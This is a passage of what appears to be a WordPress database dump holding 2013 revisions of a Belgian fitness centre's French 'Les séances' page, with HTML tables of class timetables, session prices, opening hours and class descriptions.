(réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:04', '2013-07-03 17:01:04', '', 11, 'http://www.crosstrainingcenter.be/?p=178', 0, 'revision', '', 0),
(182, 1, '2013-07-03 17:05:17', '2013-07-03 17:05:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:05:17', '2013-07-03 17:05:17', '', 11, 'http://www.crosstrainingcenter.be/?p=182', 0, 'revision', '', 0);
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(179, 1, '2013-07-03 17:01:59', '2013-07-03 17:01:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer 